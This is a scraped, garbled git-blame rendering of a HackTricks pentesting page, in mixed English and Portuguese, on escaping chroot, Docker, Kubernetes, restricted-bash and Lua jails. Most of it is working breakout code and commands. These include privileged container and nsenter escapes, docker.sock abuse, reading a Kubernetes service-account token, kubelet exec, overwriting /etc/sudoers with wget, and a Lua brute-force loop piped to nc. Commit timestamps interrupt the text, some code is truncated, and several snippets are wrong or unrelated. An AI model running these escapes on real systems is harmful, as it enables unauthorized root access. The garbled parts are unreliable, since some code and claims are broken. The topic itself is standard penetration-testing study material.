hacktricks/linux-hardening/privilege-escalation/escaping-from-limited-bash.md

489 lines
15 KiB
Markdown
Raw Normal View History

2023-08-29 18:57:50 +00:00
# Escaping from Jails
2023-06-06 18:56:34 +00:00
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <directory>\n", argv[0]);
exit(1);
}
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
if (chroot(argv[1]) != 0) {
perror("chroot");
exit(1);
}
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
if (chdir("/") != 0) {
perror("chdir");
exit(1);
}
system("/bin/bash");
return 0;
}
```
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
```bash
gcc break_chroot.c -o break_chroot
./break_chroot /new_chroot
```
2023-08-29 18:57:50 +00:00
#### Root + Mount
2023-06-06 18:56:34 +00:00
If you are **root** inside a chroot you **can escape** creating a **mount**. This because **mounts are not affected** by chroot.
2023-06-06 18:56:34 +00:00
```bash
mkdir /tmp/new_root
mount --bind / /tmp/new_root
chroot /tmp/new_root
```
2023-08-29 18:57:50 +00:00
#### User + CWD
2023-06-06 18:56:34 +00:00
If you are **not root** inside a chroot you **can escape** creating a **new chroot** with a **new user**. This because **chroot doesn't affect** the **user**.
```bash
mkdir /tmp/new_chroot
cp /bin/bash /tmp/new_chroot
chroot /tmp/new_chroot /bin/bash
su new_user
```
2023-08-29 18:57:50 +00:00
#### User + Mount
2023-06-06 18:56:34 +00:00
If you are **not root** inside a chroot you **can escape** creating a **mount**. This because **mounts are not affected** by chroot.
```bash
mkdir /tmp/new_root
mount --bind / /tmp/new_root
chroot /tmp/new_root
su new_user
```
2023-08-29 18:57:50 +00:00
### Docker Escapes
2023-06-06 18:56:34 +00:00
2023-08-29 18:57:50 +00:00
#### Docker Breakouts
2023-06-06 18:56:34 +00:00
2023-08-29 18:57:50 +00:00
From [wikipedia](https://en.wikipedia.org/wiki/Docker\_\(software\)#Security): Docker's default configuration relies on the host kernel for container isolation and security. By default, Docker containers share the host system's filesystem and network interface(s), but can be further restricted with the `--read-only` and `--net=none` flags. Linux capabilities and seccomp filters can be used to control the container's access to the host system.
{% hint style="success" %}
2023-06-06 18:56:34 +00:00
The **tool** [**Docker Escape**](https://github.com/KrustyHack/docker-escape) was created to automate the following escenarios and scape from `Docker`.
{% endhint %}
2023-08-29 18:57:50 +00:00
#### Docker Breakout via Build
2023-06-06 18:56:34 +00:00
If you can **build a Docker image** you can **escape** from it.
```dockerfile
FROM ubuntu:18.04
RUN apt-get update && apt-get install -y wget
RUN wget https://raw.githubusercontent.com/KrustyHack/docker-escape/master/docker_escape.c
RUN gcc docker_escape.c -o docker_escape
CMD ["bash"]
```
2023-06-06 18:56:34 +00:00
```bash
docker build -t escape .
docker run -it --privileged escape
./docker_escape
```
2023-08-29 18:57:50 +00:00
#### Docker Breakout via Run
2023-06-06 18:56:34 +00:00
If you can **run a Docker container** you can **escape** from it.
```bash
docker run -it --rm --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
2023-08-29 18:57:50 +00:00
#### Docker Breakout via Volume
2023-06-06 18:56:34 +00:00
If you can **mount a volume** you can **escape** from it.
```bash
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
```
2023-08-29 18:57:50 +00:00
#### Docker Breakout via Environment Variables
2023-06-06 18:56:34 +00:00
If you can **set environment variables** you can **escape** from it.
```bash
docker run -it --rm -e LD_PRELOAD=/tmp/lib.so alpine sh
```
2023-08-29 18:57:50 +00:00
#### Docker Breakout via Docker Socket
2023-06-06 18:56:34 +00:00
If you can **access the Docker socket** you can **escape** from it.
```bash
docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock alpine docker -H unix:///var/run/docker.sock run -v /:/mnt -it alpine chroot /mnt sh
```
2023-08-29 18:57:50 +00:00
### Kubernetes Escapes
2023-06-06 18:56:34 +00:00
2023-08-29 18:57:50 +00:00
#### Kubernetes Breakouts
2023-06-06 18:56:34 +00:00
From [wikipedia](https://en.wikipedia.org/wiki/Kubernetes#Security): Kubernetes provides various security features to protect the master node(s) and the nodes. The API server component provides authentication and authorization mechanisms, such as client certificates, bearer tokens, and Kubernetes Role-Based Access Control (RBAC). The kubelet component provides node-level authentication and authorization using x509 certificates and a small set of built-in roles.
{% hint style="success" %}
The **tool** [**Kubeletctl**](https://github.com/cyberark/kubeletctl) was created to automate the following escenarios and scape from `Kubernetes`.
{% endhint %}
2023-08-29 18:57:50 +00:00
#### Kubernetes Breakout via Pod
2023-06-06 18:56:34 +00:00
If you can **create a pod** you can **escape** from it.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: breakout
spec:
containers:
- name: breakout
image: alpine
command: ["/bin/sh"]
args: ["-c", "mount --bind / /mnt; chroot /mnt sh"]
securityContext:
privileged: true
restartPolicy: Never
```
2021-01-06 16:24:33 +00:00
2023-06-06 18:56:34 +00:00
```bash
kubectl apply -f breakout.yaml
kubectl exec -it breakout sh
```
2021-01-06 16:24:33 +00:00
2023-08-29 18:57:50 +00:00
#### Kubernetes Breakout via Service Account Token
2023-06-06 18:56:34 +00:00
If you can **access a service account token** you can **escape** from it.
2021-01-06 16:24:33 +00:00
2023-06-06 18:56:34 +00:00
```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -H "Authorization: Bearer $TOKEN" https://kubernetes/api/v1/namespaces/default/pods
```
2023-08-29 18:57:50 +00:00
#### Kubernetes Breakout via Kubelet API
2023-06-06 18:56:34 +00:00
If you can **access the kubelet API** you can **escape** from it.
```bash
curl -k https://kubelet:10250/run/default/breakout -XPOST -d 'cmd=sh&cmd=-c&cmd=mount%20--bind%20/%20/mnt;%20chroot%20/mnt%20sh'
```
2023-08-29 18:57:50 +00:00
2021-01-06 16:24:33 +00:00
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
2022-04-05 22:24:52 +00:00
}
2021-01-06 16:24:33 +00:00
```
<details>
<summary>Python</summary>
2021-01-08 19:04:47 +00:00
2023-06-06 18:56:34 +00:00
Python
</details>
2023-08-29 18:57:50 +00:00
\`\`\`python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): os.chdir("..") os.chroot(".") os.system("/bin/bash") \`\`\`
<details>
<summary>Perl</summary>
2021-01-08 19:20:28 +00:00
2023-06-06 18:56:34 +00:00
O Perl é uma linguagem de programação interpretada, multiplataforma e de alto nível. É frequentemente usada para automação de tarefas, processamento de texto e desenvolvimento web. O Perl é uma linguagem poderosa e flexível, com muitos módulos disponíveis para facilitar o desenvolvimento de aplicativos.
Para executar um comando em Perl, você pode usar a função `system()`. Por exemplo, para executar o comando `ls -la`, você pode usar o seguinte código:
```perl
system("ls -la");
```
Para executar um comando com privilégios elevados, você pode usar a função `sudo`. Por exemplo, para executar o comando `whoami` com privilégios elevados, você pode usar o seguinte código:
```perl
system("sudo whoami");
```
O Perl também tem a capacidade de executar comandos em segundo plano usando a função `fork()`. Por exemplo, para executar o comando `ping` em segundo plano, você pode usar o seguinte código:
```perl
if (fork() == 0) {
exec("ping 8.8.8.8");
}
```
Este código cria um novo processo filho usando a função `fork()`. O processo filho executa o comando `ping 8.8.8.8` usando a função `exec()`. O processo pai continua a executar o código restante.
O Perl também tem a capacidade de executar comandos em um shell interativo usando a função `open()`. Por exemplo, para abrir um shell interativo, você pode usar o seguinte código:
```perl
open(SHELL, "|/bin/bash");
```
Este código abre um shell interativo usando a função `open()`. O shell é executado no modo de pipe, permitindo que você envie comandos para o shell e receba a saída de volta. Você pode enviar comandos para o shell usando a função `print()`. Por exemplo, para executar o comando `ls -la` no shell interativo, você pode usar o seguinte código:
```perl
print SHELL "ls -la\n";
```
Este código envia o comando `ls -la` para o shell interativo usando a função `print()`. A saída do comando é enviada de volta para o script Perl e pode ser lida usando a função `readline()`. Por exemplo, para ler a saída do comando `ls -la`, você pode usar o seguinte código:
```perl
while (<SHELL>) {
print $_;
}
```
Este código lê a saída do shell interativo linha por linha usando a função `readline()` e a imprime na tela usando a função `print()`.
2023-08-29 18:57:50 +00:00
2021-01-08 19:20:28 +00:00
```perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
```
2023-08-29 18:57:50 +00:00
</details>
2023-08-29 18:57:50 +00:00
#### Root + FD salvo
{% hint style="warning" %}
2023-06-06 18:56:34 +00:00
Este caso é semelhante ao anterior, mas neste caso o **atacante armazena um descritor de arquivo para o diretório atual** e, em seguida, **cria o chroot em uma nova pasta**. Finalmente, como ele tem **acesso** a esse **FD fora** do chroot, ele o acessa e **escapa**.
{% endhint %}
<details>
<summary>C: break_chroot.c</summary>
2023-08-29 18:57:50 +00:00
\`\`\`c #include #include #include
2023-08-29 18:57:50 +00:00
//gcc break\_chroot.c -o break\_chroot
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd);\
for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
````
</details>
### Root + Fork + UDS (Unix Domain Sockets)
2023-08-29 18:57:50 +00:00
<div data-gb-custom-block data-tag="hint" data-style='warning'>
2023-06-06 18:56:34 +00:00
FD pode ser passado por Unix Domain Sockets, então:
* Crie um processo filho (fork)
* Crie UDS para que o pai e o filho possam se comunicar
* Execute chroot no processo filho em uma pasta diferente
* No processo pai, crie um FD de uma pasta que está fora do novo chroot do processo filho
* Passe para o processo filho esse FD usando o UDS
* O processo filho muda para o diretório desse FD e, como está fora do chroot, ele escapará da prisão
2023-08-29 18:57:50 +00:00
</div>
### &#x20;Root + Mount
2023-08-29 18:57:50 +00:00
<div data-gb-custom-block data-tag="hint" data-style='warning'>
2023-06-06 18:56:34 +00:00
* Montando o dispositivo raiz (/) em um diretório dentro do chroot
* Executando chroot nesse diretório
2023-06-06 18:56:34 +00:00
Isso é possível no Linux
2023-08-29 18:57:50 +00:00
</div>
### Root + /proc
2023-08-29 18:57:50 +00:00
<div data-gb-custom-block data-tag="hint" data-style='warning'>
2023-06-06 18:56:34 +00:00
* Monte o procfs em um diretório dentro do chroot (se ainda não estiver)
* Procure um pid que tenha uma entrada de raiz/cwd diferente, como: /proc/1/root
* Chroot nessa entrada
2023-08-29 18:57:50 +00:00
</div>
### Root(?) + Fork
2023-08-29 18:57:50 +00:00
<div data-gb-custom-block data-tag="hint" data-style='warning'>
2023-06-06 18:56:34 +00:00
* Crie um Fork (processo filho) e chroot em uma pasta diferente mais profunda no FS e CD nela
* Do processo pai, mova a pasta onde o processo filho está para uma pasta anterior ao chroot dos filhos
* Esse processo filho se encontrará fora do chroot
2023-08-29 18:57:50 +00:00
</div>
### ptrace
2023-08-29 18:57:50 +00:00
<div data-gb-custom-block data-tag="hint" data-style='warning'>
2023-06-06 18:56:34 +00:00
* Há algum tempo, os usuários podiam depurar seus próprios processos a partir de um processo próprio ... mas isso não é mais possível por padrão
* De qualquer forma, se for possível, você pode ptrace em um processo e executar um shellcode dentro dele ([veja este exemplo](linux-capabilities.md#cap\_sys\_ptrace)).
2023-08-29 18:57:50 +00:00
</div>
2022-05-07 13:38:40 +00:00
## Bash Jails
2021-02-05 11:09:01 +00:00
2023-06-06 18:56:34 +00:00
### Enumeração
2021-07-05 07:02:25 +00:00
2023-06-06 18:56:34 +00:00
Obtenha informações sobre a prisão:
2021-07-05 07:02:25 +00:00
```bash
echo $SHELL
echo $PATH
env
export
pwd
2023-08-29 18:57:50 +00:00
````
#### Modificar PATH
2021-07-05 07:02:25 +00:00
2023-06-06 18:56:34 +00:00
Verifique se é possível modificar a variável de ambiente PATH.
2023-08-29 18:57:50 +00:00
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```
2023-08-29 18:57:50 +00:00
#### Usando o vim
2020-12-27 15:10:35 +00:00
```bash
:set shell=/bin/sh
:shell
```
2023-08-29 18:57:50 +00:00
#### Criar script
2020-12-27 15:10:35 +00:00
2023-06-06 18:56:34 +00:00
Verifique se você pode criar um arquivo executável com _/bin/bash_ como conteúdo.
2023-08-29 18:57:50 +00:00
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
2023-08-29 18:57:50 +00:00
#### Obter bash a partir do SSH
2023-06-06 18:56:34 +00:00
Se você estiver acessando via ssh, pode usar este truque para executar um shell bash:
2023-08-29 18:57:50 +00:00
```bash
ssh -t user@<IP> bash # Get directly an interactive shell
2021-07-05 07:02:25 +00:00
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
```
2023-08-29 18:57:50 +00:00
#### Declaração
2021-07-05 07:02:25 +00:00
```bash
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
```
2023-08-29 18:57:50 +00:00
#### Wget
2021-01-06 16:24:33 +00:00
2023-06-06 18:56:34 +00:00
Você pode sobrescrever, por exemplo, o arquivo sudoers.
2023-08-29 18:57:50 +00:00
2021-01-06 16:24:33 +00:00
```bash
2022-04-05 22:24:52 +00:00
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
2021-01-06 16:24:33 +00:00
```
2023-08-29 18:57:50 +00:00
#### Outros truques
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
2023-06-06 18:56:34 +00:00
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
[https://gtfobins.github.io](https://gtfobins.github.io/)\
**Também pode ser interessante a página:**
2021-01-06 16:24:33 +00:00
2023-08-29 18:57:50 +00:00
### Jaulas Python
2021-02-05 11:09:01 +00:00
2023-06-06 18:56:34 +00:00
Truques sobre como escapar de jaulas Python na seguinte página:
2021-02-05 11:09:01 +00:00
2023-08-29 18:57:50 +00:00
### Jaulas Lua
2021-02-05 11:09:01 +00:00
2023-06-06 18:56:34 +00:00
Nesta página, você pode encontrar as funções globais às quais você tem acesso dentro do Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
2021-02-05 11:09:01 +00:00
2023-06-06 18:56:34 +00:00
**Avaliação com execução de comando:**
2023-08-29 18:57:50 +00:00
2021-02-05 11:09:01 +00:00
```bash
2021-02-09 12:19:42 +00:00
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
2021-02-05 11:09:01 +00:00
```
2023-08-29 18:57:50 +00:00
2023-06-06 18:56:34 +00:00
Algumas dicas para **chamar funções de uma biblioteca sem usar pontos**:
2021-02-05 11:09:01 +00:00
2023-08-29 18:57:50 +00:00
* Use a função `declare` para criar uma referência para a biblioteca: `declare -a lib=(/lib/x86_64-linux-gnu/libc.so.6)`
* Chame a função desejada usando a sintaxe `${lib[nome_da_funcao]}`: `${lib[system]}('ls')`
2021-02-05 11:09:01 +00:00
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
2023-08-29 18:57:50 +00:00
## Enumerar funções de uma biblioteca:
2023-06-06 18:56:34 +00:00
Para enumerar as funções de uma biblioteca, podemos usar a ferramenta `nm`. O `nm` lista os símbolos (incluindo as funções) de um arquivo objeto ou de uma biblioteca compartilhada.
2021-02-05 11:09:01 +00:00
2023-06-06 18:56:34 +00:00
Para listar as funções de uma biblioteca, execute o seguinte comando:
2021-02-05 11:09:01 +00:00
```bash
2023-06-06 18:56:34 +00:00
nm -gC /path/to/library.so
2021-02-05 11:09:01 +00:00
```
2023-06-06 18:56:34 +00:00
Onde `/path/to/library.so` é o caminho para a biblioteca que você deseja listar as funções.
O parâmetro `-g` lista apenas os símbolos globais (ou seja, as funções que podem ser acessadas por outros arquivos) e o parâmetro `-C` desmangle os nomes das funções (ou seja, converte os nomes das funções de sua forma codificada para sua forma legível por humanos).
2021-02-05 11:09:01 +00:00
2023-06-06 18:56:34 +00:00
O resultado será uma lista de todas as funções na biblioteca, juntamente com seus endereços na memória.
2023-08-29 18:57:50 +00:00
2023-06-06 18:56:34 +00:00
```bash
for k,v in pairs(string) do print(k,v) end
```
2023-08-29 18:57:50 +00:00
2023-06-06 18:56:34 +00:00
Observe que toda vez que você executa o comando anterior em um **ambiente lua diferente, a ordem das funções muda**. Portanto, se você precisar executar uma função específica, pode realizar um ataque de força bruta carregando diferentes ambientes lua e chamando a primeira função da biblioteca "le":
2023-08-29 18:57:50 +00:00
2021-02-05 11:09:01 +00:00
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
2023-08-29 18:57:50 +00:00
2023-06-06 18:56:34 +00:00
**Obter shell lua interativa**: Se você estiver dentro de uma shell lua limitada, poderá obter uma nova shell lua (e, esperançosamente, ilimitada) chamando:
2023-08-29 18:57:50 +00:00
2021-02-09 12:19:42 +00:00
```bash
debug.debug()
```
2023-08-29 18:57:50 +00:00
### Referências
2023-08-29 18:57:50 +00:00
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
2022-04-28 16:01:33 +00:00
</details>